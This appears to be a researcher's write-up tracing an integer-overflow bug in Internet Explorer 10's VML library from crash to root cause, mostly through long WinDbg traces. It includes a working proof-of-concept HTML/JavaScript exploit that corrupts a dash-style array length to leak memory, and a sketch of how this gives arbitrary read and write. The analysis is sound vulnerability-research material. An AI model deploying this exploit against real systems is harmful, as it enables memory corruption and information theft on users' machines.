Introduction
This vulnerability is an integer overflow vulnerability, which involves a signed comparison between a signed integer and an unsigned integer and results in out-of-bound read. The analysis on root cause has already been available online [2][3]. But these talk few about how they locate the root cause in the binary starting from zero knowledge. In this post, I hope to log how I locate the root cause of the vulnerability starting from the crash. Therefore, the post may look tedious but I will try to demonstrate every step I take in my analysis.
Crash Analysis
Since the poc code given by vupen is now unaccessible, we give the poc code below with some minor modification.
<html> <head> <meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" > </head> <title> POC by VUPEN </title> <style>v\: * { behavior:url(#default#VML); display:inline-block }</style> <xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" /> <body onload="createRects(); exploit();"> <v:oval style="width:100pt;height:50pt" fillcolor="red"></v:oval> <v:oval> <v:stroke id="vml1"/> </v:oval> </body> <script> var rect_array = new Array() var a = new Array() function createRects(){ for(var i=0; i<0x400; i++){ rect_array[i] = document.createElement("v:shape") rect_array[i].id = "rect" + i.toString() document.body.appendChild(rect_array[i]) } } function exploit(){ var vml1 = document.getElementById("vml1") for (var i=0; i<0x400; i++){ a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle; } for (var i=0; i<0x400; i++){ a[i].rotation; if (i == 0x300) { vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44" } } var length_orig = vml1.dashstyle.array.length; vml1.dashstyle.array.length = 0 - 1; for (var i=0; i<0x400; i++) { a[i].marginLeft = "a"; marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16); if (marginLeftAddress > 0) { vml1.dashstyle.array.item(0x2E+0x16) = 0x7ffe0300; var leak = a[i].marginLeft; vml1.dashstyle.array.item(0x2E+0x16) = marginLeftAddress; vml1.dashstyle.array.length = length_orig; alert( parseInt( leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16 ).toString(16)); return; } } } </script> </html>
And the crash site (enabled with pageheap) is given below
(a90.dd0): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=1ac43064 ebx=1de5aff0 ecx=00000001 edx=00000000 esi=1ac43060 edi=04a0b47c eip=75499966 esp=04a0b430 ebp=04a0b438 iopl=0 nv up ei ng nz ac pe cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210297 msvcrt!memcpy+0x158: 75499966 8b448efc mov eax,dword ptr [esi+ecx*4-4] ds:0023:1ac43060=???????? 0:007> k ChildEBP RetAddr 04a0b438 6adec491 msvcrt!memcpy+0x158 04a0b44c 6ae3b72d vgx!ORG::Get+0x28 04a0b480 76be3e75 vgx!COALineDashStyleArray::get_item+0x77 04a0b4a0 76be3cef OLEAUT32!DispCallFunc+0x165 04a0b530 6ae1e491 OLEAUT32!CTypeInfo2::Invoke+0x23f 04a0b430 1dc4af28 04a0b434 00000000 04a0b438 04a0b44c 04a0b43c 6adec491 vgx!ORG::Get+0x28 04a0b440 04a0b47c 04a0b444 1ac43060 04a0b448 00000004 04a0b44c 04a0b480 04a0b450 6ae3b72d vgx!COALineDashStyleArray::get_item+0x77
Crash site analysis
So let’s locate the crash code in the binary. The crash takes place in memcpy in ORG::Get. Since it’s on X86 system, let’t view the variables on the stack.
0:007> dds 1dc4af28 L4 // read this value by referencing 04a0b47c 1dc4af28 6ade0b5c vgx!COAShapeProg::`vftable' 1dc4af2c 00000009 1dc4af30 08ba2ff0 1dc4af34 00000000 0:007> dds 1ac43060 L4 1ac43060 ???????? 1ac43064 ???????? 1ac43068 ???????? 1ac4306c ????????
Therefore, it means that the second variable passed to ORG::Get is an invalid address.\
1ac42f40 00 00 00 00 00 00 00 00-24 0f 19 01 bb bb ba dc ........$....... 1ac42f50 01 00 00 00 02 00 00 00-03 00 00 00 04 00 00 00 ................ 1ac42f60 05 00 00 00 06 00 00 00-07 00 00 00 08 00 00 00 ................ 1ac42f70 09 00 00 00 0a 00 00 00-0b 00 00 00 0c 00 00 00 ................ 1ac42f80 0d 00 00 00 0e 00 00 00-0f 00 00 00 10 00 00 00 ................ 1ac42f90 11 00 00 00 12 00 00 00-13 00 00 00 14 00 00 00 ................ 1ac42fa0 15 00 00 00 16 00 00 00-17 00 00 00 18 00 00 00 ................ 1ac42fb0 19 00 00 00 1a 00 00 00-1b 00 00 00 1c 00 00 00 ................ 1ac42fc0 1d 00 00 00 1e 00 00 00-1f 00 00 00 20 00 00 00 ............ ... 1ac42fd0 21 00 00 00 22 00 00 00-23 00 00 00 24 00 00 00 !..."...#...$... 1ac42fe0 25 00 00 00 26 00 00 00-27 00 00 00 28 00 00 00 %...&...'...(... 1ac42ff0 29 00 00 00 2a 00 00 00-2b 00 00 00 2c 00 00 00 )...*...+...,... 1ac43000 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 1ac43010 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 1ac43020 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
At present, we can only get to know that the second parameter was corrupted somewhere somehow. So next we need to get the root cause of the crash. First of all, let’s see how ORG::Get is invoked via setting breakpoint.
0:007> bp vgx!ORG::Get vgx!ORG::Get: 6adec469 8bff mov edi,edi And the stack layout for functions: ORG::Get 0491b3f0 6ae3b72d vgx!COALineDashStyleArray::get_item+0x77 0491b3f4 1d658fe8 0491b3f8 0491b41c 0491b3fc 00000044 //******************* some other stack data. COALineDashStyleArray::get_item 0491b424 76be3e75 OLEAUT32!DispCallFunc+0x165 0491b428 1d658fe8 0491b42c 00000044 0491b430 0491b484 0:007> dds 1d658fe8 L6 1d658fe8 6addca10 vgx!ORG::`vftable' 1d658fec 002cffff 1d658ff0 00040004 1d658ff4 00000101 1d658ff8 1a346f50 1d658ffc d0d0d0d0
Running After the Rat
We observe that COALineDashStyleArray::get_item will call ORG:Get. So we go through the COALineDashStyleArray::get_item to get a deep knowledge via debugging. Since COALineDashStyleArray::get_item is a huge function, we will only pick three parts of the function (three pictures below) to demonstrate.

0:007> t eax=6ade0b5c ebx=0855bc60 ecx=0855f2c8 edx=0398b0ba esi=0855f2c8 edi=02b9b774 eip=6ae3b6cb esp=02b9b400 ebp=02b9b420 iopl=0 nv up ei pl nz ac pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200216 vgx!COALineDashStyleArray::get_item+0x15: 6ae3b6cb ff5020 call dword ptr [eax+20h] ds:0023:6ade0b7c={vgx!COAProg::CheckProg (6ae1e728)} 0:007> dds ecx L4 0855f2c8 6ade0b5c vgx!COAShapeProg::`vftable' 0855f2cc 00000009 0855f2d0 02089590 0855f2d4 00000000 0:007> t eax=00000000 ebx=0855bc60 ecx=02088ce8 edx=0398b0ba esi=0855f2c8 edi=02b9b774 eip=6ae3b6ce esp=02b9b400 ebp=02b9b420 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246 vgx!COALineDashStyleArray::get_item+0x18: 6ae3b6ce 8bf8 mov edi,eax

0:007> t eax=02088cb0 ebx=0855bc60 ecx=02088cb0 edx=0398b0ba esi=0855f2c8 edi=00000000 eip=6ae3b6f1 esp=02b9b400 ebp=02b9b420 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206 vgx!COALineDashStyleArray::get_item+0x3b: 6ae3b6f1 8d5508 lea edx,[ebp+8] 0:007> dds eax L1 02088cb0 6addfda4 vgx!CVMLShape::`vftable' 0:007> t eax=02088cb0 ebx=0855bc60 ecx=02088cb0 edx=02b9b428 esi=0855f2c8 edi=00000000 eip=6ae3b6f4 esp=02b9b400 ebp=02b9b420 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206 vgx!COALineDashStyleArray::get_item+0x3e: 6ae3b6f4 8d4830 lea ecx,[eax+30h] 0:007> t eax=02088cb0 ebx=0855bc60 ecx=02088ce0 edx=02b9b428 esi=0855f2c8 edi=00000000 eip=6ae3b6f7 esp=02b9b400 ebp=02b9b420 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206 vgx!COALineDashStyleArray::get_item+0x41: 6ae3b6f7 8b01 mov eax,dword ptr [ecx] ds:0023:02088ce0={vgx!CVMLBackground::`vftable' (6addfc54)} 0:007> t eax=6addfc54 ebx=0855bc60 ecx=02088ce0 edx=02b9b428 esi=0855f2c8 edi=00000000 eip=6ae3b6f9 esp=02b9b400 ebp=02b9b420 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206 vgx!COALineDashStyleArray::get_item+0x43: 6ae3b6f9 52 push edx 0:007> t eax=6addfc54 ebx=0855bc60 ecx=02088ce0 edx=02b9b428 esi=0855f2c8 edi=00000000 eip=6ae3b6fa esp=02b9b3fc ebp=02b9b420 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206 vgx!COALineDashStyleArray::get_item+0x44: 6ae3b6fa 68cf010000 push 1CFh 0:007> t eax=6addfc54 ebx=0855bc60 ecx=02088ce0 edx=02b9b428 esi=0855f2c8 edi=00000000 eip=6ae3b6ff esp=02b9b3f8 ebp=02b9b420 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206 vgx!COALineDashStyleArray::get_item+0x49: 6ae3b6ff ff10 call dword ptr [eax] ds:0023:6addfc54={vgx!CVMLShape::FetchProp (6ae48847)} 0:007> p eax=08557488 ebx=0855bc60 ecx=02b9b428 edx=020847a8 esi=0855f2c8 edi=00000000 eip=6ae3b701 esp=02b9b400 ebp=02b9b420 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202 vgx!COALineDashStyleArray::get_item+0x4b: 6ae3b701 8b4d08 mov ecx,dword ptr [ebp+8] ss:0023:02b9b428=08557488 0:007> dds 02b9b428 L1 02b9b428 08557488 0:007> dds 08557488 L1 08557488 6addca10 vgx!ORG::`vftable'

0:007> p eax=6addca10 ebx=0855bc60 ecx=08557488 edx=020847a8 esi=0855f2c8 edi=00000000 eip=6ae3b711 esp=02b9b3fc ebp=02b9b420 iopl=0 nv up ei pl nz ac po cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200213 vgx!COALineDashStyleArray::get_item+0x5b: 6ae3b711 ff502c call dword ptr [eax+2Ch] ds:0023:6addca3c={vgx!ORG::CElements (6adec560)} 0:007> dds ecx L2 08557488 6addca10 vgx!ORG::`vftable' 0855748c 002cffff 0:007> p eax=0000ffff ebx=0855bc60 ecx=08557488 edx=020847a8 esi=0855f2c8 edi=00000000 eip=6ae3b714 esp=02b9b400 ebp=02b9b420 iopl=0 nv up ei pl nz ac po cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200213 vgx!COALineDashStyleArray::get_item+0x5e: 6ae3b714 39450c cmp dword ptr [ebp+0Ch],eax ss:0023:02b9b42c=00000044 eax=08557488 ebx=0855bc60 ecx=6addca10 edx=02b9b41c esi=0855f2c8 edi=00000000 eip=6ae3b72a esp=02b9b3f4 ebp=02b9b420 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246 vgx!COALineDashStyleArray::get_item+0x74: 6ae3b72a ff511c call dword ptr [ecx+1Ch] ds:0023:6addca2c={vgx!ORG::Get (6adec469)} 0:007> dd esp L4 02b9b3f4 08557488 02b9b41c 00000044 02b9b774 0:007> dd eax L8 08557488 6addca10 002c[ffff] 00040004 00000101 //look here!! the value is 0xffff 08557498 08583ba8 00000000 458855f8 80000000
After reaching this point, we find that an ORG object is saved at 0x8557488. From the content of the object, we find that the metadata of this object has been corrupted to 0xffff. The length check before vgx!ORG::Get fails. The maximum capacity of the buffer was changed to 0xffff. In the following analysis, we need to figure out how the capacity was modified.
Root Cause Analysis
It seems that we come to a dead end that we cannot find out when the metadata was corrupted to 0xffff. So I figure out an alternative method to get around that. First of all, I set the breakpoint at the constructor function of ORG object. Then I set a hardware access breakpoint to locate the instruction that corrupts the metadata. Via searching the reference to virtual function table of ORG object, we locate two potential function in VGX.dll. One is vgx!MsoFCreateArray and the other is vgx!ORG::FDuplicate.
vgx!MsoFCreateArray: 6adec74d 8bff mov edi,edi 6adec74f 55 push ebp 6adec750 8bec mov ebp,esp 6adec752 56 push esi 6adec753 6a14 push 14h 6adec755 e886d6ffff call vgx!operator new (6ade9de0) 6adec75a 8bf0 mov esi,eax 6adec75c 59 pop ecx 6adec75d 85f6 test esi,esi 6adec75f 7408 je vgx!MsoFCreateArray+0x1c (6adec769) 6adec761 c70610cadd6a mov dword ptr [esi],offset vgx!ORG::`vftable' (6addca10) //The reference to vftable of ORG
After setting break point for both functions, the output is as following. And the victim ORG object is created by the function call vgx!MsoFCreateArray at the fourth time.\
0:007> bp vgx!MsoFCreateArray+0x14 "r esi; g;" 0:007> bp vgx!ORG::FDuplicate+0x14 "r ebx; g;" 0:007> bp vgx!COALineDashStyleArray::get_item+0x74 0:007> g esi=01b15308 esi=01b063d0 esi=01b063f0 esi=07ee7488 eax=07ee7488 ebx=07eebc60 ecx=6addca10 edx=0275b7bc esi=07eef1e8 edi=00000000 eip=6ae3b72a esp=0275b794 ebp=0275b7c0 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246 vgx!COALineDashStyleArray::get_item+0x74: 6ae3b72a ff511c call dword ptr [ecx+1Ch] ds:0023:6addca2c={vgx!ORG::Get (6adec469)}
By setting breakpoint at the fourth hit on the function vgx!MsoFCreateArray, we check the callstack.\
0:007> bp vgx!MsoFCreateArray 4 0:007> g Breakpoint 0 hit eax=034ab0d4 ebx=034ab0db ecx=00000000 edx=00000001 esi=034ab140 edi=034ab13c eip=6cccc74d esp=034ab0a8 ebp=034ab0b8 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246 vgx!MsoFCreateArray: 6cccc74d 8bff mov edi,edi 0:007> k L8 ChildEBP RetAddr 034ab0a4 6cd364a9 vgx!MsoFCreateArray+0xd 034ab0b8 6cd36545 vgx!VGPIE5array::FAddElement+0x17 034ab128 6cd0708c vgx!VGPIE5DwordArray::Text+0x5b 034ab148 6cd08d5d vgx!GetArrayVal+0x90 034ab15c 6cd1b3be vgx!ParseDashStyle+0x1d 034ab194 76be3e75 vgx!COALineDashStyle::put_value+0x88 034ab1b0 76be3cef OLEAUT32!DispCallFunc+0x165 034ab240 6ccfe491 OLEAUT32!CTypeInfo2::Invoke+0x23f
Taking a further step, we set a hardware access breakpoint at ORG+0x4, we try to watch when the metadata was changed to 0xffff.
0:007> g; d 08b6bf00 L8; Breakpoint 1 hit 08b6bf00 10 ca c0 6c ff ff 2c 00 ...l..,. 0:007> dds 08b6bf00 08b6bf00 6cc0ca10 vgx!ORG::`vftable' 08b6bf04 002cffff 08b6bf08 00040004 0:007> k ChildEBP RetAddr 0334b280 6cc560c9 vgx!MsoFRemovePx+0xaf 0334b298 6cc1c460 vgx!MsoDeletePx+0x15 0334b2ac 6cc6b8b9 vgx!ORG::DeleteRange+0x17 0334b2dc 76be3e75 vgx!COALineDashStyleArray::put_length+0xc2 0334b2f8 76be3cef OLEAUT32!DispCallFunc+0x165 0334b388 6cc4e491 OLEAUT32!CTypeInfo2::Invoke+0x23f
After some manual analysis, I finally turn my focus to vgx!COALineDashStyleArray::put_length
0:007> bp vgx!COALineDashStyleArray::put_length 0:007> g Breakpoint 0 hit eax=0000000a ebx=6bfb0e90 ecx=6c00b7f7 edx=03c7ac5a esi=0378b710 edi=0378b44c eip=6c00b7f7 esp=0378b400 ebp=0378b418 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202 vgx!COALineDashStyleArray::put_length: 6c00b7f7 8bff mov edi,edi 0:007> dd esp L4 0378b400 76be3e75 08b306d8 ffffffff 03c7ac14 0:007> dds 08b306d8 L4 08b306d8 6bfb0e90 vgx!COALineDashStyleArray::`vftable' 08b306dc 08b33c60 08b306e0 00000003 08b306e4 00000000
Similar to our analysis on COALineDashStyleArray::get_item, we split the function into three parts (three pictures below).

0:007> p eax=6bfb0b5c ebx=08b306d8 ecx=08b33c60 edx=03c7ac5a esi=08b33c60 edi=0378b44c eip=6c00b80c esp=0378b3e0 ebp=0378b3fc iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202 vgx!COALineDashStyleArray::put_length+0x15: 6c00b80c ff5020 call dword ptr [eax+20h] ds:0023:6bfb0b7c={vgx!COAProg::CheckProg (6bfee728)} 0:007> p eax=00000000 ebx=08b306d8 ecx=029ea5d0 edx=03c7ac5a esi=08b33c60 edi=0378b44c eip=6c00b80f esp=0378b3e0 ebp=0378b3fc iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246 vgx!COALineDashStyleArray::put_length+0x18: 6c00b80f 8bf8 mov edi,eax

0:007> p eax=08b33c60 ebx=08b306d8 ecx=029ea5d0 edx=03c7ac5a esi=08b33c60 edi=00000000 eip=6c00b831 esp=0378b3e0 ebp=0378b3fc iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246 vgx!COALineDashStyleArray::put_length+0x3a: 6c00b831 e8e219ffff call vgx!COAShapeProg::GetShape (6bffd218) 0:007> p eax=029ea598 ebx=08b306d8 ecx=029ea598 edx=03c7ac5a esi=08b33c60 edi=00000000 eip=6c00b836 esp=0378b3e0 ebp=0378b3fc iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202 vgx!COALineDashStyleArray::put_length+0x3f: 6c00b836 8d5508 lea edx,[ebp+8] 0:007> dds 029ea598 L4 029ea598 6bfafda4 vgx!CVMLShape::`vftable' 029ea59c 6bfafbc0 vgx!CVMLBackground::`vftable' 029ea5a0 00000000 029ea5a4 00000000 0:007> p eax=6bfafc54 ebx=08b306d8 ecx=029ea5c8 edx=0378b404 esi=08b33c60 edi=00000000 eip=6c00b844 esp=0378b3d8 ebp=0378b3fc iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202 vgx!COALineDashStyleArray::put_length+0x4d: 6c00b844 ff10 call dword ptr [eax] ds:0023:6bfafc54={vgx!CVMLShape::FetchProp (6c018847)} 0:007> p eax=08b2bf00 ebx=08b306d8 ecx=0378b404 edx=029c4710 esi=08b33c60 edi=00000000 eip=6c00b846 esp=0378b3e0 ebp=0378b3fc iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202 vgx!COALineDashStyleArray::put_length+0x4f: 6c00b846 8b4d08 mov ecx,dword ptr [ebp+8] ss:0023:0378b404=08b2bf00 0:007> dds 08b2bf00 L4 08b2bf00 6bfaca10 vgx!ORG::`vftable' 08b2bf04 002c002c // <=== At this point, the metadata is still good 08b2bf08 00040004 08b2bf0c 00000101

0:007> p eax=08b2bf00 ebx=08b306d8 ecx=08b2bf00 edx=029c4710 esi=08b33c60 edi=00000000 eip=6c00b84d esp=0378b3e0 ebp=0378b3fc iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206 vgx!COALineDashStyleArray::put_length+0x56: 6c00b84d 8b01 mov eax,dword ptr [ecx] ds:0023:08b2bf00={vgx!ORG::`vftable' (6bfaca10)} 0:007> p eax=6bfaca10 ebx=08b306d8 ecx=08b2bf00 edx=029c4710 esi=08b33c60 edi=00000000 eip=6c00b84f esp=0378b3e0 ebp=0378b3fc iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206 vgx!COALineDashStyleArray::put_length+0x58: 6c00b84f 51 push ecx 0:007> p eax=6bfaca10 ebx=08b306d8 ecx=08b2bf00 edx=029c4710 esi=08b33c60 edi=00000000 eip=6c00b850 esp=0378b3dc ebp=0378b3fc iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206 vgx!COALineDashStyleArray::put_length+0x59: 6c00b850 ff502c call dword ptr [eax+2Ch] ds:0023:6bfaca3c={vgx!ORG::CElements (6bfbc560)} 0:007> p eax=0000002c ebx=08b306d8 ecx=08b2bf00 edx=029c4710 esi=08b33c60 edi=00000000 eip=6c00b853 esp=0378b3e0 ebp=0378b3fc iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206 vgx!COALineDashStyleArray::put_length+0x5c: 6c00b853 8b750c mov esi,dword ptr [ebp+0Ch] ss:0023:0378b408=ffffffff 0:007> p eax=0000002c ebx=08b306d8 ecx=08b2bf00 edx=029c4710 esi=ffffffff edi=00000000 eip=6c00b856 esp=0378b3e0 ebp=0378b3fc iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206 vgx!COALineDashStyleArray::put_length+0x5f: 6c00b856 8bd0 mov edx,eax 0:007> p eax=0000002c ebx=08b306d8 ecx=08b2bf00 edx=0000002c esi=ffffffff edi=00000000 eip=6c00b858 esp=0378b3e0 ebp=0378b3fc iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206 vgx!COALineDashStyleArray::put_length+0x61: 6c00b858 3bd6 cmp edx,esi 0:007> p eax=0000002c ebx=08b306d8 ecx=08b2bf00 edx=0000002c esi=ffffffff edi=00000000 eip=6c00b85a esp=0378b3e0 ebp=0378b3fc iopl=0 nv up ei pl nz ac pe cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200217 vgx!COALineDashStyleArray::put_length+0x63: 6c00b85a 7d50 jge vgx!COALineDashStyleArray::put_length+0xb5 (6c00b8ac) [br=1]
Bingo! I think we have reached the root cause of the crash. We find that there is a signed comparison between $edx (0x2c) and $esi (0xffffffff) and the the conditional jump will be taken place. To give a more clear view on how this function works, I slightly modify the poc code given above as a demonstration.
// if set the length less than 44 // vml1.dashstyle.array.length = 12; 0:007> bp vgx!COALineDashStyleArray::put_length+0x63 0:007> g Breakpoint 0 hit eax=0000002c ebx=085c06d8 ecx=085bbf00 edx=0000002c esi=[0000000c] edi=00000000 eip=6ae3b85a esp=02eab120 ebp=02eab13c iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202 vgx!COALineDashStyleArray::put_length+0x63: 6ae3b85a 7d50 jge vgx!COALineDashStyleArray::put_length+0xb5 (6ae3b8ac) [br=1] // if set the length larger than 44 // vml1.dashstyle.array.length = 60; 0:007> bp vgx!COALineDashStyleArray::put_length+0x63 0:007> g Breakpoint 0 hit eax=0000002c ebx=089406d8 ecx=0893bf00 edx=0000002c esi=[0000003c] edi=00000000 eip=6ae3b85a esp=0367b2a0 ebp=0367b2bc iopl=0 nv up ei ng nz na pe cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200287 vgx!COALineDashStyleArray::put_length+0x63: 6ae3b85a 7d50 jge vgx!COALineDashStyleArray::put_length+0xb5 (6ae3b8ac) [br=0]
So the logic of function is clear.
In the case that the target buffer is smaller than the source buffer
target buffer [ ] source buffer [ ] call ORG::Delete(*this, desired_capacity, old_capacity - desired_capacity)
In the case that the target buffer is smaller than the source buffer
target buffer [ ] source buffer [ ] create a new Range containing all 0s call ORG::FAppendRange(*this, new Range(), desired_capacity - old_capacity)
In ORG::Delete, the metadata has to be updated to the desired size after deleting the elements. So the metadata was corrupted in this step.
Exploit Analysis
The final exploit is done on IE 10(10.2.9200.16438). The final performance is to leak the data stored at 0x7ffe0340 as below:\
Since the goal of this post is to demonstrate how to trace the root cause of a crash in the target binary. I will only give a brief view on how the exploit works. Keep in mind that we now gain the ability to do out-of-bound write.
0:016> bp VGX!COALineDashStyleArray::put_item 0:016> g Breakpoint 0 hit VGX!COALineDashStyleArray::put_item: 6ccfb75c 8bff mov edi,edi 0:007:x86> dd esp 03a0b754 77783e75 086785d0 00000044 7ffe0340 03a0b764 04aacb9c 03efd5a4 03a0b764 03a0b800 03a0b774 77783cef 086785d0 00000028 00000004 03a0b784 0000000a 00000002 04aacc0c 04aacbfc 03a0b794 03a0b7a4 6cd1caf8 00000000 03a0ba98 03a0b7a4 77770000 758366bc 006aa1f0 006504c8 03a0b7b4 03a0ba98 006aa1f0 00000060 00000000 03a0b7c4 03a0b7e0 77773ea3 006aa1f0 00000060 0:007:x86> bp 6ccfb7ce 0:007:x86> g Breakpoint 1 hit VGX!COALineDashStyleArray::put_item+0x72: 6ccfb7ce 8908 mov dword ptr [eax],ecx ds:002b:086a05c0=084d1374 0:007:x86> r eax=086a05c0 ebx=086785d0 ecx=7ffe0340 edx=02dd58f0 esi=0867bc60 edi=00000000 eip=6ccfb7ce esp=03a0b734 ebp=03a0b750 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206 VGX!COALineDashStyleArray::put_item+0x72: 6ccfb7ce 8908 mov dword ptr [eax],ecx ds:002b:086a05c0=084d1374 086a0500 00000015 00000016 00000017 00000018 086a0510 00000019 0000001a 0000001b 0000001c 086a0520 0000001d 0000001e 0000001f 00000020 086a0530 00000021 00000022 00000023 00000024 086a0540 00000025 00000026 00000027 00000028 086a0550 00000029 0000002a 0000002b 0000002c 086a0560 0ca18bf1 8c000000 01400018 00000000 086a0570 00000000 00000000 00000000 00000000 086a0580 00000000 00000000 00000000 00000000 086a0590 00000000 00000000 00000000 00000000 086a05a0 00000000 00000000 00000000 00000000 086a05b0 00000000 00000000 00000000 00000000 086a05c0 084d1374 00000000 00000000 00000000 0:007:x86> dd 084d1374 084d1374 00000061 00000000 00000000 0a85fcad 084d1384 80000000 00000287 00000000 00000000 084d1394 00000000 0a85fcae 8c000000 6a8cd208 084d13a4 006bb5a0 00000001 00000000 0a85fcab 084d13b4 8c000000 6a8cd070 006bb5a0 00000001 084d13c4 00000000 0a85fca4 88000000 00000008 084d13d4 00740073 0070006f 00000000 0a85fca1 084d13e4 80000000 000002d5 00000000 00000000
In VGX!COALineDashStyleArray::put_item, a data pointer 0x84d1374 was saved after our corrupted array. So our work is only to overwrite this pointer via the out-of-bound ability and somehow trigger VGX!COALineDashStyleArray::put_item to gain the ability of arbitrary read. We can also gain arbitrary write primitive via the same method.
Conclusion
Root cause analysis is always a tedious work. It’s more like a detective game that we have to try every possible ways to find some hint or evidence for moving forward. After collecting enough pieces of the puzzle, we can judge the suspect guilty.
Reference
[1]http://www.vupen.com/blog/20130522.Advanced_Exploitation_of_IE10_Windows8_Pwn2Own_2013.php
[2]http://www.cnblogs.com/Danny-Wei/p/3766432.html
[3]http://sironhide.is-programmer.com/posts/98160.html